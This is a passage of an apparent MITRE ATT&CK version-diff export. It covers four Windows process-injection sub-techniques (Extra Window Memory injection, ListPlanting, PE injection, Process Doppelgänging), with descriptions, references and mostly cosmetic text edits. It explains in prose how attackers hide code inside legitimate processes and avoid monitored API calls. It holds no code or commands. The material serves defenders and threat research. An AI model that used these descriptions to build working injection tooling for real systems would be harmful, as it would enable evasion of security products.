by returning execution control to the address in the process\\u2019s EWM.\\n \\n-Execution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\\n+Execution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process.(Citation: MalwareTech Power Loader Aug 2013)(Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\\n \\n Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. \"}}}",
"previous_version": "2.0",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may inject malicious code into process via Extra | t | 1 | Adversaries may inject malicious code into a process via Ext |
| > | Window Memory (EWM) in order to evade process-based defense | > | ra Window Memory (EWM) in order to evade process-based defen | ||
| > | s as well as possibly elevate privileges. EWM injection is a | > | ses as well as possibly elevate privileges. EWM injection is | ||
| > | method of executing arbitrary code in the address space of | > | a method of executing arbitrary code in the address space o | ||
| > | a separate live process. Before creating a window, graphic | > | f a separate live process. Before creating a window, graph | ||
| > | al Windows-based processes must prescribe to or register a w | > | ical Windows-based processes must register a windows class, | ||
| > | indows class, which stipulate appearance and behavior (via w | > | which stipulates appearance and behavior (via windows proced | ||
| > | indows procedures, which are functions that handle input/out | > | ures, which are functions that handle input/output of data). | ||
| > | put of data).(Citation: Microsoft Window Classes) Registrati | > | (Citation: Microsoft Window Classes) Registration of new win | ||
| > | on of new windows classes can include a request for up to 40 | > | dows classes can include a request for up to 40 bytes of EWM | ||
| > | bytes of EWM to be appended to the allocated memory of each | > | to be appended to the allocated memory of each instance of | ||
| > | instance of that class. This EWM is intended to store data | > | that class. This EWM is intended to store data specific to t | ||
| > | specific to that window and has specific application program | > | hat window and has specific application programming interfac | ||
| > | ming interface (API) functions to set and get its value. (Ci | > | e (API) functions to set and get its value.(Citation: Micros | ||
| > | tation: Microsoft GetWindowLong function) (Citation: Microso | > | oft GetWindowLong function)(Citation: Microsoft SetWindowLon | ||
| > | ft SetWindowLong function) Although small, the EWM is large | > | g function) Although small, the EWM is large enough to stor | ||
| > | enough to store a 32-bit pointer and is often used to point | > | e a 32-bit pointer and is often used to point to a windows p | ||
| > | to a windows procedure. Malware may possibly utilize this m | > | rocedure. Malware may possibly utilize this memory location | ||
| > | emory location in part of an attack chain that includes writ | > | in part of an attack chain that includes writing code to sha | ||
| > | ing code to shared sections of the process\u2019s memory, placing | > | red sections of the process\u2019s memory, placing a pointer to t | ||
| > | a pointer to the code in EWM, then invoking execution by re | > | he code in EWM, then invoking execution by returning executi | ||
| > | turning execution control to the address in the process\u2019s EW | > | on control to the address in the process\u2019s EWM. Execution g | ||
| > | M. Execution granted through EWM injection may allow access | > | ranted through EWM injection may allow access to both the ta | ||
| > | to both the target process's memory and possibly elevated p | > | rget process's memory and possibly elevated privileges. Writ | ||
| > | rivileges. Writing payloads to shared sections also avoids t | > | ing payloads to shared sections also avoids the use of highl | ||
| > | he use of highly monitored API calls such as <code>WriteProc | > | y monitored API calls such as <code>WriteProcessMemory</code | ||
| > | essMemory</code> and <code>CreateRemoteThread</code>.(Citati | > | > and <code>CreateRemoteThread</code>.(Citation: Elastic Pro | ||
| > | on: Elastic Process Injection July 2017) More sophisticated | > | cess Injection July 2017) More sophisticated malware samples | ||
| > | malware samples may also potentially bypass protection mecha | > | may also potentially bypass protection mechanisms such as d | ||
| > | nisms such as data execution prevention (DEP) by triggering | > | ata execution prevention (DEP) by triggering a combination o | ||
| > | a combination of windows procedures and other system functio | > | f windows procedures and other system functions that will re | ||
| > | ns that will rewrite the malicious payload inside an executa | > | write the malicious payload inside an executable portion of | ||
| > | ble portion of the target process. (Citation: MalwareTech P | > | the target process.(Citation: MalwareTech Power Loader Aug 2 | ||
| > | ower Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Red | > | 013)(Citation: WeLiveSecurity Gapz and Redyms Mar 2013) Run | ||
| > | yms Mar 2013) Running code in the context of another proces | > | ning code in the context of another process may allow access | ||
| > | s may allow access to the process's memory, system/network r | > | to the process's memory, system/network resources, and poss | ||
| > | esources, and possibly elevated privileges. Execution via EW | > | ibly elevated privileges. Execution via EWM injection may al | ||
| > | M injection may also evade detection from security products | > | so evade detection from security products since the executio | ||
| > | since the execution is masked under a legitimate process. | > | n is masked under a legitimate process. |
SysListView32 control.\n\nListPlanting (a form of message-passing \"shatter attack\") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process\u2019 memory space, which can be performed various ways including by directly obtaining a handle to the SysListView32 child of the victim process window (via Windows API calls such as FindWindow and/or EnumWindows) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.\n\nSome variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored WriteProcessMemory function. For example, an adversary can use the PostMessage and/or SendMessage API functions to send LVM_SETITEMPOSITION and LVM_GETITEMPOSITION messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020) \n\nFinally, the payload is triggered by sending the LVM_SORTITEMS message to the SysListView32 child of the process window, with the payload within the newly allocated buffer passed and executed as the ListView_SortItems callback.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "stealth"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1055/015",
"external_id": "T1055.015"
},
{
"source_name": "Hexacorn Listplanting",
"description": "Hexacorn. (2019, April 25). Listplanting \u2013 yet another code injection trick. Retrieved August 14, 2024.",
"url": "https://www.hexacorn.com/blog/2019/04/25/listplanting-yet-another-code-injection-trick/"
},
{
"source_name": "ESET InvisiMole June 2020",
"description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.",
"url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"
},
{
"source_name": "Microsoft List View Controls",
"description": "Microsoft. (2021, May 25). About List-View Controls. Retrieved January 4, 2022.",
"url": "https://docs.microsoft.com/windows/win32/controls/list-view-controls-overview"
},
{
"source_name": "Modexp Windows Process Injection",
"description": "odzhan. (2019, April 25). Windows Process Injection: WordWarping, Hyphentension, AutoCourgette, Streamception, Oleum, ListPlanting, Treepoline. Retrieved November 15, 2021.",
"url": "https://modexp.wordpress.com/2019/04/25/seven-window-injection-methods/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"ESET"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "2.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 03:11:37.194000+00:00\", \"old_value\": \"2026-05-12 15:12:00.723000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process.(Citation: Hexacorn Listplanting) Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.\\n\\nList-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings is stored within the process' memory in a SysListView32 control.\\n\\nListPlanting (a form of message-passing \\\"shatter attack\\\") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process\\u2019 memory space, which can be performed various ways including by directly obtaining a handle to the SysListView32 child of the victim process window (via Windows API calls such as FindWindow and/or EnumWindows) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.\\n\\nSome variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored WriteProcessMemory function. For example, an adversary can use the PostMessage and/or SendMessage API functions to send LVM_SETITEMPOSITION and LVM_GETITEMPOSITION messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020) \\n\\nFinally, the payload is triggered by sending the LVM_SORTITEMS message to the SysListView32 child of the process window, with the payload within the newly allocated buffer passed and executed as the ListView_SortItems callback.\", \"old_value\": \"Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process.(Citation: Hexacorn Listplanting) Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.\\n\\nList-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a SysListView32 control.\\n\\nListPlanting (a form of message-passing \\\"shatter attack\\\") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process\\u2019 memory space, which can be performed various ways including by directly obtaining a handle to the SysListView32 child of the victim process window (via Windows API calls such as FindWindow and/or EnumWindows) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.\\n\\nSome variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored WriteProcessMemory function. For example, an adversary can use the PostMessage and/or SendMessage API functions to send LVM_SETITEMPOSITION and LVM_GETITEMPOSITION messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020) \\n\\nFinally, the payload is triggered by sending the LVM_SORTITEMS message to the SysListView32 child of the process window, with the payload within the newly allocated buffer passed and executed as the ListView_SortItems callback.\", \"diff\": \"--- \\n+++ \\n@@ -1,6 +1,6 @@\\n Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process.(Citation: Hexacorn Listplanting) Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.\\n \\n-List-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a SysListView32 control.\\n+List-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings is stored within the process' memory in a SysListView32 control.\\n \\n ListPlanting (a form of message-passing \\\"shatter attack\\\") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process\\u2019 memory space, which can be performed various ways including by directly obtaining a handle to the SysListView32 child of the victim process window (via Windows API calls such as FindWindow and/or EnumWindows) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.\\n \"}}}",
"previous_version": "2.0",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse list-view controls to inject malicious | t | 1 | Adversaries may abuse list-view controls to inject malicious |
| > | code into hijacked processes in order to evade process-base | > | code into hijacked processes in order to evade process-base | ||
| > | d defenses as well as possibly elevate privileges. ListPlant | > | d defenses as well as possibly elevate privileges. ListPlant | ||
| > | ing is a method of executing arbitrary code in the address s | > | ing is a method of executing arbitrary code in the address s | ||
| > | pace of a separate live process.(Citation: Hexacorn Listplan | > | pace of a separate live process.(Citation: Hexacorn Listplan | ||
| > | ting) Code executed via ListPlanting may also evade detectio | > | ting) Code executed via ListPlanting may also evade detectio | ||
| > | n from security products since the execution is masked under | > | n from security products since the execution is masked under | ||
| > | a legitimate process. List-view controls are user interfac | > | a legitimate process. List-view controls are user interfac | ||
| > | e windows used to display collections of items.(Citation: Mi | > | e windows used to display collections of items.(Citation: Mi | ||
| > | crosoft List View Controls) Information about an application | > | crosoft List View Controls) Information about an application | ||
| > | 's list-view settings are stored within the process' memory | > | 's list-view settings is stored within the process' memory i | ||
| > | in a <code>SysListView32</code> control. ListPlanting (a fo | > | n a <code>SysListView32</code> control. ListPlanting (a for | ||
| > | rm of message-passing \"shatter attack\") may be performed by | > | m of message-passing \"shatter attack\") may be performed by c | ||
| > | copying code into the virtual address space of a process tha | > | opying code into the virtual address space of a process that | ||
| > | t uses a list-view control then using that code as a custom | > | uses a list-view control then using that code as a custom c | ||
| > | callback for sorting the listed items.(Citation: Modexp Wind | > | allback for sorting the listed items.(Citation: Modexp Windo | ||
| > | ows Process Injection) Adversaries must first copy code into | > | ws Process Injection) Adversaries must first copy code into | ||
| > | the target process\u2019 memory space, which can be performed va | > | the target process\u2019 memory space, which can be performed var | ||
| > | rious ways including by directly obtaining a handle to the < | > | ious ways including by directly obtaining a handle to the <c | ||
| > | code>SysListView32</code> child of the victim process window | > | ode>SysListView32</code> child of the victim process window | ||
| > | (via Windows API calls such as <code>FindWindow</code> and/ | > | (via Windows API calls such as <code>FindWindow</code> and/o | ||
| > | or <code>EnumWindows</code>) or other [Process Injection](ht | > | r <code>EnumWindows</code>) or other [Process Injection](htt | ||
| > | tps://attack.mitre.org/techniques/T1055) methods. Some vari | > | ps://attack.mitre.org/techniques/T1055) methods. Some varia | ||
| > | ations of ListPlanting may allocate memory in the target pro | > | tions of ListPlanting may allocate memory in the target proc | ||
| > | cess but then use window messages to copy the payload, to av | > | ess but then use window messages to copy the payload, to avo | ||
| > | oid the use of the highly monitored <code>WriteProcessMemory | > | id the use of the highly monitored <code>WriteProcessMemory< | ||
| > | </code> function. For example, an adversary can use the <cod | > | /code> function. For example, an adversary can use the <code | ||
| > | e>PostMessage</code> and/or <code>SendMessage</code> API fun | > | >PostMessage</code> and/or <code>SendMessage</code> API func | ||
| > | ctions to send <code>LVM_SETITEMPOSITION</code> and <code>LV | > | tions to send <code>LVM_SETITEMPOSITION</code> and <code>LVM | ||
| > | M_GETITEMPOSITION</code> messages, effectively copying a pay | > | _GETITEMPOSITION</code> messages, effectively copying a payl | ||
| > | load 2 bytes at a time to the allocated memory.(Citation: ES | > | oad 2 bytes at a time to the allocated memory.(Citation: ESE | ||
| > | ET InvisiMole June 2020) Finally, the payload is triggered | > | T InvisiMole June 2020) Finally, the payload is triggered | ||
| > | by sending the <code>LVM_SORTITEMS</code> message to the <c | > | by sending the <code>LVM_SORTITEMS</code> message to the <co | ||
| > | ode>SysListView32</code> child of the process window, with t | > | de>SysListView32</code> child of the process window, with th | ||
| > | he payload within the newly allocated buffer passed and exec | > | e payload within the newly allocated buffer passed and execu | ||
| > | uted as the <code>ListView_SortItems</code> callback. | > | ted as the <code>ListView_SortItems</code> callback. |
VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references.(Citation: Elastic Process Injection July 2017) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "stealth"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1055/002",
"external_id": "T1055.002"
},
{
"source_name": "Elastic Process Injection July 2017",
"description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
"url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "2.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:17:08.975000+00:00\", \"old_value\": \"2026-05-12 15:12:00.665000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process. \\n\\nPE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references.(Citation: Elastic Process Injection July 2017) \\n\\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. \", \"old_value\": \"Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process. \\n\\nPE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017) \\n\\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. \", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process. \\n \\n-PE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017) \\n+PE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references.(Citation: Elastic Process Injection July 2017) \\n \\n Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. \"}}}",
"previous_version": "2.0",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may inject portable executables (PE) into proces | t | 1 | Adversaries may inject portable executables (PE) into proces |
| > | ses in order to evade process-based defenses as well as poss | > | ses in order to evade process-based defenses as well as poss | ||
| > | ibly elevate privileges. PE injection is a method of executi | > | ibly elevate privileges. PE injection is a method of executi | ||
| > | ng arbitrary code in the address space of a separate live pr | > | ng arbitrary code in the address space of a separate live pr | ||
| > | ocess. PE injection is commonly performed by copying code | > | ocess. PE injection is commonly performed by copying code | ||
| > | (perhaps without a file on disk) into the virtual address sp | > | (perhaps without a file on disk) into the virtual address sp | ||
| > | ace of the target process before invoking it via a new threa | > | ace of the target process before invoking it via a new threa | ||
| > | d. The write can be performed with native Windows API calls | > | d. The write can be performed with native Windows API calls | ||
| > | such as <code>VirtualAllocEx</code> and <code>WriteProcessMe | > | such as <code>VirtualAllocEx</code> and <code>WriteProcessMe | ||
| > | mory</code>, then invoked with <code>CreateRemoteThread</cod | > | mory</code>, then invoked with <code>CreateRemoteThread</cod | ||
| > | e> or additional code (ex: shellcode). The displacement of t | > | e> or additional code (ex: shellcode). The displacement of t | ||
| > | he injected code does introduce the additional requirement f | > | he injected code does introduce the additional requirement f | ||
| > | or functionality to remap memory references. (Citation: Elas | > | or functionality to remap memory references.(Citation: Elast | ||
| > | tic Process Injection July 2017) Running code in the conte | > | ic Process Injection July 2017) Running code in the contex | ||
| > | xt of another process may allow access to the process's memo | > | t of another process may allow access to the process's memor | ||
| > | ry, system/network resources, and possibly elevated privileg | > | y, system/network resources, and possibly elevated privilege | ||
| > | es. Execution via PE injection may also evade detection from | > | s. Execution via PE injection may also evade detection from | ||
| > | security products since the execution is masked under a leg | > | security products since the execution is masked under a legi | ||
| > | itimate process. | > | timate process. |
NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext.(Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nProcess Doppelg\u00e4nging is implemented in 4 steps:\n\n* Transact \u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load \u2013 Create a shared section of memory and load the malicious executable.\n* Rollback \u2013 Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate \u2013 Create a process from the tainted section of memory and initiate execution.\n\nThis behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelg\u00e4nging may evade detection from security products since the execution is masked under a legitimate process. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "stealth"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1055/013",
"external_id": "T1055.013"
},
{
"source_name": "BlackHat Process Doppelg\u00e4nging Dec 2017",
"description": "Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction: Process Doppelg\u00e4nging. Retrieved December 20, 2017.",
"url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf"
},
{
"source_name": "Microsoft Basic TxF Concepts",
"description": "Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20, 2017.",
"url": "https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx"
},
{
"source_name": "Microsoft TxF",
"description": "Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December 20, 2017.",
"url": "https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx"
},
{
"source_name": "Microsoft Where to use TxF",
"description": "Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved December 20, 2017.",
"url": "https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "2.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 03:10:21.665000+00:00\", \"old_value\": \"2026-05-12 15:12:00.641000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may inject malicious code into a process via process doppelg\\u00e4nging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelg\\u00e4nging is a method of executing arbitrary code in the address space of a separate live process. \\n\\nWindows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations.(Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened.(Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction.(Citation: Microsoft Where to use TxF)\\n\\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10.(Citation: BlackHat Process Doppelg\\u00e4nging Dec 2017)\\n\\nAdversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), process doppelg\\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelg\\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext.(Citation: BlackHat Process Doppelg\\u00e4nging Dec 2017)\\n\\nProcess Doppelg\\u00e4nging is implemented in 4 steps:\\n\\n* Transact \\u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\\n* Load \\u2013 Create a shared section of memory and load the malicious executable.\\n* Rollback \\u2013 Undo changes to original executable, effectively removing malicious code from the file system.\\n* Animate \\u2013 Create a process from the tainted section of memory and initiate execution.\\n\\nThis behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelg\\u00e4nging may evade detection from security products since the execution is masked under a legitimate process. \", \"old_value\": \"Adversaries may inject malicious code into process via process doppelg\\u00e4nging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelg\\u00e4nging is a method of executing arbitrary code in the address space of a separate live process. \\n\\nWindows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\\n\\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelg\\u00e4nging Dec 2017)\\n\\nAdversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), process doppelg\\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelg\\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelg\\u00e4nging Dec 2017)\\n\\nProcess Doppelg\\u00e4nging is implemented in 4 steps (Citation: BlackHat Process Doppelg\\u00e4nging Dec 2017):\\n\\n* Transact \\u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\\n* Load \\u2013 Create a shared section of memory and load the malicious executable.\\n* Rollback \\u2013 Undo changes to original executable, effectively removing malicious code from the file system.\\n* Animate \\u2013 Create a process from the tainted section of memory and initiate execution.\\n\\nThis behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelg\\u00e4nging may evade detection from security products since the execution is masked under a legitimate process. \", \"diff\": \"--- \\n+++ \\n@@ -1,12 +1,12 @@\\n-Adversaries may inject malicious code into process via process doppelg\\u00e4nging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelg\\u00e4nging is a method of executing arbitrary code in the address space of a separate live process. \\n+Adversaries may inject malicious code into a process via process doppelg\\u00e4nging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelg\\u00e4nging is a method of executing arbitrary code in the address space of a separate live process. \\n \\n-Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\\n+Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations.(Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened.(Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction.(Citation: Microsoft Where to use TxF)\\n \\n-Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelg\\u00e4nging Dec 2017)\\n+Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10.(Citation: BlackHat Process Doppelg\\u00e4nging Dec 2017)\\n \\n-Adversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), process doppelg\\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelg\\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelg\\u00e4nging Dec 2017)\\n+Adversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), process doppelg\\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelg\\u00e4nging's use of TxF also avoids the use of 